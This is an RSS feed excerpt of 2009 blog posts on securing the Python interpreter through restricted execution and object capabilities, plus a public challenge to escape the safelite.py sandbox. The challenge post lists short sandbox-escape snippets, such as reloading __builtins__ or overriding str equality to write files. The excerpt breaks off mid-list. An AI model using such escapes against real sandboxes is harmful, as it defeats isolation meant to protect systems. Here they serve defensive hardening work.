  <a href="http://icanhascheezburger.com/2008/11/25/funny-pictures-of-buddy-system-alwaiz-hold-hands/"><img src="http://cloud.github.com/downloads/tav/plexnet/gfx.cutest-lolcat-ever.jpg" alt="1st rule of buddy system -- alwaiz hold hands" /></a>
</div><img src="http://feeds.feedburner.com/~r/asktav/~4/WhFitFVTrRc" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/cutest-lolcat-ever.html</feedburner:origLink></item><item>
    <title>Paving the Way to Securing the Python Interpreter</title>
    <guid isPermaLink="false">http://tav.espians.com/paving-the-way-to-securing-the-python-interpreter.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/Ny1nN3SEu2M/paving-the-way-to-securing-the-python-interpreter.html</link>
    <pubDate>Tue, 24 Feb 2009 15:37:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p><strong>Note:</strong> This article isn't about securing the Python interpreter against
crashes/segfaults or exhaustion of resources attacks. For help with that, take a
look at the excellent <a class="reference external" href="http://codespeak.net/pypy/dist/pypy/doc/sandbox.html">sandboxing features of PyPy</a>. Those of you wanting
to just know about the practical applications of this, scroll down to the bottom
of the article =)</p>
<p>There have been many attempts to secure the Python interpreter so that untrusted
code can be safely executed alongside trusted code. Working attempts like
<a class="reference external" href="http://pypi.python.org/pypi/RestrictedPython/">RestrictedPython</a> and
<a class="reference external" href="http://pypi.python.org/pypi/zope.proxy">zope.proxy</a> unfortunately come at a
high cost in terms of performance.</p>
<p>Old-school Python hackers would probably remember the deprecated <tt class="docutils literal">rexec</tt>
module which used to be enabled in the standard library. This module, along with
it's <tt class="docutils literal">Bastion</tt> sibling, provided a framework for &ldquo;restricted execution&rdquo; of
Python code.</p>
<p>The rexec module encouraged a certain design pattern which depended on class
attributes being kept &ldquo;private&rdquo; from untrusted code. Unfortunately, Python's
introspection powers are heavily geared against this and there are many many
dark corners from which one can peer deep into the heart of classes.</p>
<p>So it was no surprise that, soon after the introduction of new-style classes in
Python, rexec was dumped. And all hopes of securing the Python interpreter in an
efficient way went the way of <a class="reference external" href="http://en.wikipedia.org/wiki/Plan_9_from_Bell_Labs">Plan 9</a>.</p>
<p>Now, those in the security world are probably aware of the <a class="reference external" href="http://en.wikipedia.org/wiki/Object-capability_model">Object Capability
model</a> of security as
pioneered by the likes of the <a class="reference external" href="http://en.wikipedia.org/wiki/Actor_model">Actors model</a> and the <a class="reference external" href="http://www.erights.org/">E language</a>. Entire Operating Systems have been implemented free
of viruses thanks to this model.</p>
<p>For <a class="reference external" href="http://mail.python.org/pipermail/python-dev/2007-June/073724.html">a long while</a> I have
felt that there exists a major subset of Python that is suited for use through
the object capability model. After all <em>capabilities</em> are just non-forgeable
references. We already have this in Python.</p>
<p>The next step is to simply ensure that there is no global shared state. And
whilst a lot of existing code uses global shared state, there is nothing in the
Python language that imposes this limitation. Thus it should be possible to
isolate a capability-secure subset of Python and build up from there.</p>
<p>Since I've had this insight, the <a class="reference external" href="http://code.google.com/p/google-caja/">Google Caja</a> project have done the exact same for
Javascript. They identified a capability-secure subset of Javascript and have
built up from there&#8230;</p>
<p>So how can we Python hackers get beyond shared state? After all, there is no
&ldquo;private&rdquo; in Python. Right?</p>
<p>Well, not quite. We can use closures as an easy way of emulating a private scope
in Python. After all this is <a class="reference external" href="http://www.erights.org/elib/capability/ode/index.html">how it's done in other capability-based languages</a>. This is nothing new.
<a class="reference external" href="http://zesty.ca/">Ka-Ping Yee</a> had this <a class="reference external" href="http://mail.python.org/pipermail/python-dev/2003-March/034287.html">insight on Python-Dev</a> years
ago!</p>
<p>But what about Python's various introspective powers you ask? Unlike the deep
plumbing of classes, Python's functions are relatively isolated and makes our
life much easier. This makes sense when you realise that Python classes are
actually syntactic sugar and sets of protocols on <em>top</em> of functions.</p>
<p>But functions aren't opaque beasts by default. There are a number of variables
which &ldquo;leak&rdquo; information. The ones I identified were:</p>
<ul class="simple">
<li>FunctionType.func_closure/__closure__</li>
<li>FunctionType.func_code/__code__</li>
<li>FunctionType.func_globals/__globals__</li>
<li>GeneratorType.gi_code</li>
<li>GeneratorType.gi_frame</li>
<li>type.__subclasses__</li>
</ul>
<p>And thanks to the <a class="reference external" href="http://tav.espians.com/a-challenge-to-break-python-security.html">Python security challenge using safelite.py</a> we've been
able to identify attributes of FrameType as additional ones, e.g.</p>
<ul class="simple">
<li>FrameType.f_locals</li>
</ul>
<p>As you can see this is a pretty small list. (Especial thanks to <a class="reference external" href="http://thepaulprog.blogspot.com/">Paul Cannon</a> for being the first with his <a class="reference external" href="http://thepaulprog.blogspot.com/2009/02/safelite-exploit.html">hardcore hack</a> to show that
frame objects are accessible.)</p>
<p>Now this list is in no way the definitive final list. The Python challenge is
still ongoing &mdash; try <a class="reference external" href="http://github.com/tav/scripts/blob/master/safelite.py">safelite.py</a> yourself and see if
you can find more! But the fact that there have been no new exploits in the last
24 hours despite over a 1,000 unique downloads of safelite.py in the same time
gives me <em>some</em> confidence that we are getting towards a comprehensive list.</p>
<p>If we can ensure that untrusted code will never be able to access the final list
of these variables, then we can ensure that &ldquo;private&rdquo; data using closures stays
private. And from that basis, we can start building an object capability
framework in Python!!</p>
<p>In safelite.py, I use ctypes to completely remove these variables from the
Python interpreter. This is a neat approach which <a class="reference external" href="http://dirtsimple.org/">Phillip J. Eby</a> <a class="reference external" href="http://mail.python.org/pipermail/python-dev/2007-June/073736.html">showed me</a> and means
that we can start building an object capability framework in Python <em>today</em>!</p>
<p>The flip-side of removing these variables however is that the code which uses
these variables won't work. Boo! So I made getter functions like
<tt class="docutils literal">sys.get_func_code</tt> and patched the handful of functions in the standard
library like <tt class="docutils literal">inspect.getargspec</tt> to use these instead.</p>
<p>The idea being that trusted code would have a reference to the <tt class="docutils literal">sys</tt> module
and be able to use them whilst untrusted code would not. But <a class="reference external" href="http://www.python.org/~guido/">Guido van Rossum</a> &mdash; in the conversation that started <a class="reference external" href="http://code.google.com/p/googleappengine/issues/detail?id=671">here</a> &mdash; convinced
me that Python already has the support for doing this!</p>
<p>And this is where our old friend rexec deserves some thanking. It turns out that
rexec is only one half of Python's restricted execution support. The other half
has been living inside the Python Interpreter for well over a decade. For the
sake of simplicity let's call this PIRE &mdash; Python Interpreter's Restricted
Execution.</p>
<p>And since there is seemingly no comprehensive documentation of PIRE, I'll
provide a summary here.</p>
<p>Whenever you read/write an attribute on one of Python's builtin objects, it will
raise a <tt class="docutils literal">RuntimeError</tt> stating that the attributed is restricted if both of
the following conditions are true:</p>
<ul class="simple">
<li>The attribute has a <tt class="docutils literal">READ_RESTRICTED</tt> and/or <tt class="docutils literal">WRITE_RESTRICTED</tt> flag set.</li>
<li><tt class="docutils literal">PyEval_GetRestricted()</tt> returns True.</li>
</ul>
<p>The flags are set when members of an object are defined. For example, in
<tt class="docutils literal">funcobject.c</tt> we find:</p>
<div class="syntax c"><pre><span class="k">static</span> <span class="n">PyMemberDef</span> <span class="n">func_memberlist</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><br/>  <span class="p">{</span><span class="s">&quot;func_closure&quot;</span><span class="p">,</span> <span class="n">T_OBJECT</span><span class="p">,</span> <span class="n">OFF</span><span class="p">(</span><span class="n">func_closure</span><span class="p">),</span> <span class="n">RESTRICTED</span><span class="o">|</span><span class="n">READONLY</span><span class="p">},</span><br/>  <span class="p">{</span><span class="s">&quot;func_doc&quot;</span><span class="p">,</span> <span class="n">T_OBJECT</span><span class="p">,</span> <span class="n">OFF</span><span class="p">(</span><span class="n">func_doc</span><span class="p">),</span> <span class="n">WRITE_RESTRICTED</span><span class="p">},</span><br/>  <span class="p">{</span><span class="s">&quot;__doc__&quot;</span><span class="p">,</span> <span class="n">T_OBJECT</span><span class="p">,</span> <span class="n">OFF</span><span class="p">(</span><span class="n">func_doc</span><span class="p">),</span> <span class="n">WRITE_RESTRICTED</span><span class="p">},</span><br/>  <span class="p">{</span><span class="s">&quot;func_globals&quot;</span><span class="p">,</span> <span class="n">T_OBJECT</span><span class="p">,</span> <span class="n">OFF</span><span class="p">(</span><span class="n">func_globals</span><span class="p">),</span> <span class="n">RESTRICTED</span><span class="o">|</span><span class="n">READONLY</span><span class="p">},</span><br/>  <span class="p">{</span><span class="s">&quot;__module__&quot;</span><span class="p">,</span> <span class="n">T_OBJECT</span><span class="p">,</span> <span class="n">OFF</span><span class="p">(</span><span class="n">func_module</span><span class="p">),</span> <span class="n">WRITE_RESTRICTED</span><span class="p">},</span><br/>  <span class="p">{</span><span class="nb">NULL</span><span class="p">}</span>  <span class="cm">/* Sentinel */</span><br/><span class="p">};</span><br/></pre></div>
<p>where <tt class="docutils literal">RESTRICTED</tt> is just a shorthand for
<tt class="docutils literal">READ_RESTRICTED|WRITE_RESTRICTED</tt>.</p>
<p>As for <tt class="docutils literal">PyEval_GetRestricted</tt>, a pure Python equivalent would look like:</p>
<div class="syntax python"><pre><span class="kn">import</span> <span class="nn">__builtin__</span><br/><br/><span class="k">def</span> <span class="nf">PyEval_GetRestricted</span><span class="p">():</span><br/>    <span class="sd">&quot;&quot;&quot;Return if the we are in restricted execution.&quot;&quot;&quot;</span><br/><br/>    <span class="n">current_frame</span> <span class="o">=</span> <span class="n">PyEval_GetFrame</span><span class="p">()</span><br/>    <span class="k">if</span> <span class="n">current_frame</span><span class="o">.</span><span class="n">__builtins__</span> <span class="o">!=</span> <span class="n">__builtin__</span><span class="p">:</span><br/>        <span class="k">return</span> <span class="bp">True</span><br/>    <span class="k">else</span><span class="p">:</span><br/>        <span class="k">return</span> <span class="bp">False</span><br/></pre></div>
<p>In other words, it checks to see if the <tt class="docutils literal">__builtins__</tt> variable in the current
execution frame is the exact same as the default <tt class="docutils literal">__builtin__</tt> module [Note
the difference in spelling of the two variables]. If they differ, restricted
execution is assumed.</p>
<p>Let's see how this works out in practice:</p>
<div class="syntax pycon"><pre><span class="gp">&gt;&gt;&gt; </span><span class="kn">import</span> <span class="nn">md5</span><span class="o">,</span> <span class="nn">inspect</span><br/><br/><span class="gp">&gt;&gt;&gt; </span><span class="k">def</span> <span class="nf">dummy</span><span class="p">(</span><span class="n">secret</span><span class="p">):</span><br/><span class="gp">... </span>    <span class="sd">&quot;&quot;&quot;A dummy function which creates a closure.&quot;&quot;&quot;</span><br/><span class="gp">...</span><br/><span class="gp">... </span>    <span class="k">def</span> <span class="nf">get_secret_hash</span><span class="p">(</span><span class="n">hexdigest</span><span class="o">=</span><span class="bp">True</span><span class="p">):</span><br/><span class="gp">... </span>        <span class="k">if</span> <span class="n">hexdigest</span><span class="p">:</span><br/><span class="gp">... </span>            <span class="k">return</span> <span class="n">md5</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">secret</span><span class="p">)</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span><br/><span class="gp">... </span>        <span class="k">return</span> <span class="n">md5</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">secret</span><span class="p">)</span><span class="o">.</span><span class="n">digest</span><span class="p">()</span><br/><span class="gp">...</span><br/><span class="gp">... </span>    <span class="k">return</span> <span class="n">get_secret_hash</span><br/><br/><span class="gp">&gt;&gt;&gt; </span><span class="n">get_secret_hash</span> <span class="o">=</span> <span class="n">dummy</span><span class="p">(</span><span class="s">&#39;My Secret.&#39;</span><span class="p">)</span><br/></pre></div>
<p>In normal execution, we can access the <tt class="docutils literal">func_closure</tt> attribute:</p>
<div class="syntax pycon"><pre><span class="gp">&gt;&gt;&gt; </span><span class="n">get_secret_hash</span><span class="o">.</span><span class="n">func_closure</span><br/><span class="go">(&lt;cell at 0x23da10: str object at 0x23ef98&gt;,)</span><br/></pre></div>
<p>And use that to get at the secret:</p>
<div class="syntax pycon"><pre><span class="gp">&gt;&gt;&gt; </span><span class="n">get_secret_hash</span><span class="o">.</span><span class="n">func_closure</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">cell_contents</span><br/><span class="go">&#39;My Secret.&#39;</span><br/></pre></div>
<p>But if we set the <tt class="docutils literal">__builtins__</tt> variable, restricted execution mode kicks in:</p>
<div class="syntax pycon"><pre><span class="gp">&gt;&gt;&gt; </span><span class="n">__builtins__</span> <span class="o">=</span> <span class="p">{}</span><br/><br/><span class="gp">&gt;&gt;&gt; </span><span class="n">get_secret_hash</span><span class="o">.</span><span class="n">func_closure</span><br/><span class="gt">Traceback (most recent call last):</span><br/><span class="c">...</span><br/><span class="nc">RuntimeError</span>: <span class="n-Identifier">restricted attribute</span><br/></pre></div>
<p>Tada!!</p>
<p>Now the eagle-eyed amongst you would have noticed the import of the <tt class="docutils literal">inspect</tt>
module above. We will use this to show how trusted code can still access
restricted attributes whilst within restricted execution. The inspect module has
a useful <tt class="docutils literal">getargspec</tt> function which accesses restricted attributes to find a
function's signature. And, as we can see, it works even in restricted execution
mode:</p>
<div class="syntax pycon"><pre><span class="gp">&gt;&gt;&gt; </span><span class="n">inspect</span><span class="o">.</span><span class="n">getargspec</span><span class="p">(</span><span class="n">get_secret_hash</span><span class="p">)</span><br/><span class="go">([&#39;hexdigest&#39;], None, None, (True,))</span><br/></pre></div>
<p>Why does this work? Because the scope in which <tt class="docutils literal">getargspec</tt> was <em>defined</em>
didn't have a custom __builtins__ and this was captured in the
<tt class="docutils literal">getargspec.func_globals</tt>. This is just genius! And it provides us with a
framework on top of which we can build the object capability secure Python.</p>
<p>All we need to do is add the identified set of leak variables to the existing
set of restricted attributes. For those who are not familiar with the internals
of PIRE, I present a summary here of the <em>current</em> (in Python's SVN trunk) set
of restricted attributes.</p>
<p>The bitwise-OR-able flag contants are defined in <em>structmember.h</em>:</p>
<blockquote>
<table class="docutils">
<colgroup>
<col width="30%" />
<col width="70%" />
</colgroup>
<tbody valign="top">
<tr><td><cite>READ_RESTRICTED</cite></td>
<td>Not readable in restricted mode.</td>
</tr>
<tr><td><cite>WRITE_RESTRICTED</cite></td>
<td>Not writable in restricted mode.</td>
</tr>
<tr><td><cite>RESTRICTED</cite></td>
<td>Not readable or writable in restricted mode.</td>
</tr>
</tbody>
</table>
</blockquote>
<p>In <em>classobject.c</em>, instance method objects:</p>
<blockquote>
<table class="docutils">
<colgroup>
<col width="54%" />
<col width="46%" />
</colgroup>
<tbody valign="top">
<tr><td><tt class="docutils literal">im_class</tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal">im_func</tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal">__func__</tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal">im_self</tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal">__self__</tt></td>
<td>RESTRICTED</td>
</tr>
</tbody>
</table>
</blockquote>
<p>In <em>classobject.c</em>, class objects:</p>
<blockquote>
<table class="docutils">
<colgroup>
<col width="54%" />
<col width="46%" />
</colgroup>
<tbody valign="top">
<tr><td><tt class="docutils literal">__dict__</tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal">__class__</tt></td>
<td>WRITE_RESTRICTED</td>
</tr>
</tbody>
</table>
</blockquote>
<p>In <em>classobject.c</em>, instance objects:</p>
<blockquote>
<table class="docutils">
<colgroup>
<col width="54%" />
<col width="46%" />
</colgroup>
<tbody valign="top">
<tr><td><tt class="docutils literal">__dict__</tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal">__class__</tt></td>
<td>RESTRICTED</td>
</tr>
</tbody>
</table>
</blockquote>
<p>In <em>cPickle.c</em>:</p>
<blockquote>
A private copy of the Pickler registry tables is used when
PyEval_GetRestricted().</blockquote>
<p>In <em>fileobject.c</em>:</p>
<blockquote>
The file() constructor will raise an error when PyEval_GetRestricted().</blockquote>
<p>In <em>funcobject.c</em>, function objects:</p>
<blockquote>
<table class="docutils">
<colgroup>
<col width="54%" />
<col width="46%" />
</colgroup>
<tbody valign="top">
<tr><td><tt class="docutils literal">func_closure</tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal">__closure__</tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal">func_code</tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal">__code__</tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal">func_defaults</tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal">__defaults__</tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal">func_dict</tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal">__dict__</tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal">func_doc</tt></td>
<td>WRITE_RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal">__doc__</tt></td>
<td>WRITE_RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal">func_globals</tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal">__globals__</tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal">func_name</tt></td>
<td>WRITE_RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal">__name__</tt></td>
<td>WRITE_RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal">__module__</tt></td>
<td>WRITE_RESTRICTED</td>
</tr>
</tbody>
</table>
</blockquote>
<p>In <em>marshal.c</em>:</p>
<blockquote>
Unmarshalling code objects will raise an error when PyEval_GetRestricted().</blockquote>
<p>In <em>methodobject.c</em>, bultin functions:</p>
<blockquote>
<table class="docutils">
<colgroup>
<col width="54%" />
<col width="46%" />
</colgroup>
<tbody valign="top">
<tr><td><tt class="docutils literal">__self__</tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal">__module__</tt></td>
<td>WRITE_RESTRICTED</td>
</tr>
</tbody>
</table>
</blockquote>
<p>As you can see some of the &ldquo;leak&rdquo; attributes that I want to restrict are already
restricted in Python! All we need to do is add the following changes:</p>
<p>In <em>codeobject.c</em>:</p>
<blockquote>
Creating new code objects directly will raise an error when
PyEval_GetRestricted().</blockquote>
<p>In <em>frameobject.c</em>:</p>
<blockquote>
All attributes of Frame objects are restricted except for <tt class="docutils literal">f_restricted</tt>.</blockquote>
<p>In <em>genobject.c</em>:</p>
<blockquote>
<table class="docutils">
<colgroup>
<col width="54%" />
<col width="46%" />
</colgroup>
<tbody valign="top">
<tr><td><tt class="docutils literal">gi_code</tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal">gi_frame</tt></td>
<td>RESTRICTED</td>
</tr>
</tbody>
</table>
</blockquote>
<p>In <em>typeobject.c</em>:</p>
<blockquote>
<table class="docutils">
<colgroup>
<col width="54%" />
<col width="46%" />
</colgroup>
<tbody valign="top">
<tr><td><tt class="docutils literal">__subclasses__</tt></td>
<td>RESTRICTED</td>
</tr>
</tbody>
</table>
</blockquote>
<p>The nice thing about this is that we can then use it in environments like
<a class="reference external" href="http://code.google.com/appengine/">Google App Engine</a>, where we cannot use
the ctypes-based approach.</p>
<p>Here's my patch for Python's SVN trunk: <a class="reference external" href="http://cloud.github.com/downloads/tav/plexnet/pytrunk.secure.patch">pytrunk.secure.patch</a></p>
<p>You can review the patch for acceptance into Python core here:</p>
<ul class="simple">
<li><a class="reference external" href="http://codereview.appspot.com/20051/show">http://codereview.appspot.com/20051/show</a></li>
</ul>
<p>With this patch in place (and assuming that there aren't more &ldquo;leak&rdquo; attributes
lying around), we can start building up a true, secure, object-capability
framework in Python.</p>
<p>We'd need to add things like import mechanisms and start whitelisting builtin
functions for use. This is a big undertaking and is one that I am committed to
&mdash; and will appreciate fellow collaborators who want to make this happen. That
includes you hopefully =)</p>
<p>Now, some of you may be wondering what the fuss is? Why bother creating such an
object capability framework in Python? For that let me give you a few use cases.
All on App Engine.</p>
<p><strong>Custom Templates by Users</strong></p>
<p>Web applications like Blogger don't allow users to customise their blogs using a
rich language. Instead they have a proprietary templating system which for the
most part is just variable substitution.</p>
<p>Imagine instead if you could let your users use a templating language like
<a class="reference external" href="http://genshi.edgewall.org/">Genshi</a>. Users could have the full expresivity
of the Python language to generate the output they want.</p>
<p>The problem with letting users do that today is that they would be able to use
it to get at the rest of your application and start doing evil things to your
database.</p>
<p>But with an object capability based framework in place, you could give users the
capability to execute Genshi templates without worrying about them somehow
getting access to your database.</p>
<p>And the nice thing about App Engine is that they already have something similar
to PyPy's sandbox running &mdash; so your users won't be able to segfault your
processes.</p>
<p><strong>UserScripts: Python Services in Apps</strong></p>
<p>Web applications like <a class="reference external" href="http://www.twitter.com">Twitter</a> and <a class="reference external" href="http://www.facebook.com">Facebook</a> provide APIs which let developers write services
which run on their own servers. Imagine instead a &lsquo;Plex&rsquo; application on App
Engine which allowed users to create and run arbitrary Python services on their
data.</p>
<p>Not only would this save resources &mdash; how many copies of Twitter's database are
there?? &mdash; but it could allow for interesting <em>and</em> composable services. Perhaps
even a <a class="reference external" href="http://tav.espians.com/espra-bootstrap.html">command line for the internet</a>?</p>
<p>Services could be provided with a minimal __builtins__ which allowed them to
access the <em>current</em> user's data and not anyone else's.</p>
<p>Here's a minimal example to get you thinking:</p>
<div class="syntax python"><pre><span class="k">def</span> <span class="nf">create_safe_get</span><span class="p">(</span><span class="n">user_id</span><span class="p">,</span> <span class="n">db</span><span class="o">=</span><span class="n">db</span><span class="p">):</span><br/>    <span class="k">def</span> <span class="nf">_safe_get</span><span class="p">(</span><span class="n">key_name</span><span class="p">):</span><br/>        <span class="k">return</span> <span class="n">db</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">user_id</span> <span class="o">+</span> <span class="n">key_name</span><span class="p">)</span><br/>    <span class="k">return</span> <span class="n">_safe_get</span><br/><br/><span class="n">safe_builtins</span><span class="p">[</span><span class="s">&#39;db_get&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="n">create_safe_get</span><span class="p">(</span><span class="s">&#39;tav&#39;</span><span class="p">)</span><br/><br/><span class="k">exec</span><span class="p">(</span><span class="n">service</span><span class="p">,</span> <span class="p">{</span><span class="s">&#39;__builtins__&#39;</span><span class="p">:</span> <span class="n">safe_builtins</span><span class="p">})</span><br/></pre></div>
<p>There are lots and lots of possibilities &mdash; imagine a GreaseMonkey-like system
but running on the server-side and with Python&#8230; the possibilities are only
limited by our imagination.</p>
<p>But in order for any of this to be possible, the patch has to be accepted first.
Guido has already promised to accept the patch (for both Core Python and App
Engine!) if it gets reviewed.</p>
<p>So, if you are a Python-Dev-er, can you please review it:</p>
<ul class="simple">
<li><a class="reference external" href="http://codereview.appspot.com/20051/show">http://codereview.appspot.com/20051/show</a></li>
</ul>
<p>If not, can you at least let <a class="reference external" href="http://mail.python.org/mailman/listinfo/python-dev">Python-Dev</a> know that you'd like to
see this patch through? Thanks!</p>
<p>Let me know what you think in the comments below.</p>
<p>&mdash; With love, <a class="reference external" href="http://twitter.com/tav">&#64;tav</a></p>
<style type="text/css">
  table.docutils { border-color: #ffffff; }
  table.docutils tr { border-color: #ffffff; }
  table.docutils tr td { border-color: #ffffff; }
</style><img src="http://feeds.feedburner.com/~r/asktav/~4/Ny1nN3SEu2M" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><media:content url="http://feedproxy.google.com/~r/asktav/~5/15SeeiZ3Mmk/pytrunk.secure.patch" fileSize="4076" type="null" /><itunes:explicit>no</itunes:explicit><itunes:author>tav</itunes:author><feedburner:origLink>http://tav.espians.com/paving-the-way-to-securing-the-python-interpreter.html</feedburner:origLink><enclosure url="http://feedproxy.google.com/~r/asktav/~5/15SeeiZ3Mmk/pytrunk.secure.patch" length="4076" type="null" /><feedburner:origEnclosureLink>http://cloud.github.com/downloads/tav/plexnet/pytrunk.secure.patch</feedburner:origEnclosureLink></item><item>
    <title>A Challenge To Break Python Security</title>
    <guid isPermaLink="false">http://tav.espians.com/a-challenge-to-break-python-security.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/eJU6bjBSEPI/a-challenge-to-break-python-security.html</link>
    <pubDate>Mon, 23 Feb 2009 22:12:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p><strong>Update:</strong> You can find out more in my new article: <a class="reference external" href="/paving-the-way-to-securing-the-python-interpreter.html">Paving the Way to
Securing the Python Interpreter</a></p>
<p>The challenge is simple:</p>
<ul>
<li><p class="first">Open a fresh Python interpreter and do:</p>
<div class="syntax pycon"><pre><span class="gp">&gt;&gt;&gt; </span><span class="kn">from</span> <span class="nn">safelite</span> <span class="kn">import</span> <span class="n">FileReader</span><br/></pre></div>
</li>
<li><p class="first">You can use <tt class="docutils literal">FileReader</tt> to read files on your filesystem</p>
</li>
<li><p class="first">Now find a way to <em>write</em> to the filesystem from your interpreter</p>
</li>
</ul>
<p>You can find the latest version of safelite.py here:</p>
<ul class="simple">
<li><a class="reference external" href="http://github.com/tav/scripts/blob/master/safelite.py">http://github.com/tav/scripts/blob/master/safelite.py</a> [Current: <a class="reference external" href="http://github.com/tav/scripts/blob/master/safelite.py">v12</a>]</li>
</ul>
<p>I will keep safelite.py updated as new exploits and workarounds are found until
we hopefully end up with a version we can be confident about. [VERSION attribute
added on Steven D'Aprano's recommendation.]</p>
<p>If enough smart hackers look at this and it holds up, <a class="reference external" href="http://twitter.com/gvanrossum">Guido</a> promises to accept a patch which would enable
this function-based approach to security on both App Engine and future Python
versions.</p>
<p>So, please try the challenge and let me know how you find it in the comments.
Thanks!</p>
<p>Note: The aim of this isn't to protect Python against crashes/segfaults or
exhaustion of resources attacks, so those don't count.</p>
<p>Good luck and thanks! =)</p>
<p><strong>Exploits Found &amp; Fixed So Far:</strong></p>
<ul>
<li><p class="first"><a class="reference external" href="http://www.haypocalc.com/wiki/Victor_Stinner">Victor Stinner</a> and <a class="reference external" href="http://mail.python.org/pipermail/python-list/2009-February/530536.html">Tim
Wintle</a>
found the <a class="reference external" href="http://mail.python.org/pipermail/python-dev/2009-February/086406.html">first exploit</a>:</p>
<div class="syntax pycon"><pre><span class="gp">&gt;&gt;&gt; </span><span class="nb">reload</span><span class="p">(</span><span class="n">__builtins__</span><span class="p">)</span><br/><span class="go">&lt;module &#39;__builtin__&#39; (built-in)&gt;</span><br/><br/><span class="gp">&gt;&gt;&gt; </span><span class="nb">open</span><span class="p">(</span><span class="s">&#39;0wn3d&#39;</span><span class="p">,</span> <span class="s">&#39;w&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s">&#39;w00t</span><span class="se">\n</span><span class="s">&#39;</span><span class="p">)</span><br/></pre></div>
<p>[Fixed in v2]</p>
</li>
<li><p class="first"><a class="reference external" href="http://python.org/~guido/">Guido van Rossum</a> and <a class="reference external" href="http://twitter.com/eichin">Mark Eichin</a> came up with this devious:</p>
<div class="syntax pycon"><pre><span class="gp">&gt;&gt;&gt; </span><span class="k">class</span> <span class="nc">S</span><span class="p">(</span><span class="nb">str</span><span class="p">):</span><br/><span class="gp">... </span>    <span class="k">def</span> <span class="nf">__eq__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">o</span><span class="p">):</span> <span class="k">return</span> <span class="s">&#39;r&#39;</span> <span class="o">==</span> <span class="n">o</span><br/><br/><span class="gp">&gt;&gt;&gt; </span><span class="n">f</span> <span class="o">=</span> <span class="n">FileReader</span><span class="p">(</span><span class="s">&#39;w00t&#39;</span><span class="p">,</span> <span class="n">S</span><span class="p">(</span><span class="s">&#39;w&#39;</span><span class="p">))</span><br/><br/><span class="gp">&gt;&gt;&gt; </span><span class="n">f</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> <span class="c"># creates an empty file called &#39;w00t&#39;</span><br/></pre></div>
<p>[Fixed in v3]</p>
</li>
<li><p class="first"><a class="reference external" href="http://web.meson.org/">clsn</a> took it further and bypassed the fix in v4:</p>
<div class="syntax pycon"><pre><span class="gp">&gt;&gt;&gt; </span><span class="k">class</span> <span class="nc">S</span><span class="p">(</span><span class="nb">str</span><span class="p">):</span><br/><span class="gp">... </span>    <span class="k">def</span> <span class="nf">__eq__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">o</span><span class="p">):</span> <span class="k">return</span> <span class="s">&#39;r&#39;</span> <span class="o">==</span> <span class="n">o</span><br/><span class="gp">... </span>    <span class="k">def</span> <span class="nf">__str__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> <span class="k">return</span> <span class="bp">self</span><br/></pre></div>
<p>[Fixed in v5]</p>
</li>
<li><p class="first"><a class="reference external" href="http://mrooney.blogspot.com/">Mike Rooney</a> started messing with the
assumptions of builtins being unaltered:</p>
<div class="syntax pycon"><pre><span class="gp">&gt;&gt;&gt; </span><span class="n">__builtins__</span><span class="o">.</span><span class="n">str</span> <span class="o">=</span> <span class="n">S</span><br/></pre></div>
<p>[Fixed in v5]</p>
</li>
<li><p class="first">Farshid Lashkari then took it to a whole new <a class="reference external" href="http://mail.python.org/pipermail/python-dev/2009-February/086425.html">elegant level</a>:</p>
